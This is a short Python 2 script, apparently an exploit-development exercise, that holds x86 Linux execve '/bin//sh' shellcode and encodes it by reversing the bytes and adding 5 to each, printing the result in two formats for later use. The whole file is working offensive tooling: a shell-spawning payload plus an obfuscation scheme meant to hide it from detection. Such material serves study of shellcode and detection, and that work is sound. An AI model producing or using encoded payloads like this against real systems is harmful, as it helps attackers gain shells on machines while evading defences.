#!/usr/bin/env python
#Author: l0wlevel

# Execve-stack shellcode
shellcode=("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80")
encoded=''
encoded2=''

# Reverse the shellcode and increment 5 each byte
for x in bytearray(shellcode)[::-1]:
    y=x+5
    encoded +='\\x'
    encoded +='%02x' %y
    encoded2+='0x'
    encoded2 += '%02x,' %y

print encoded+'\n'
print encoded2
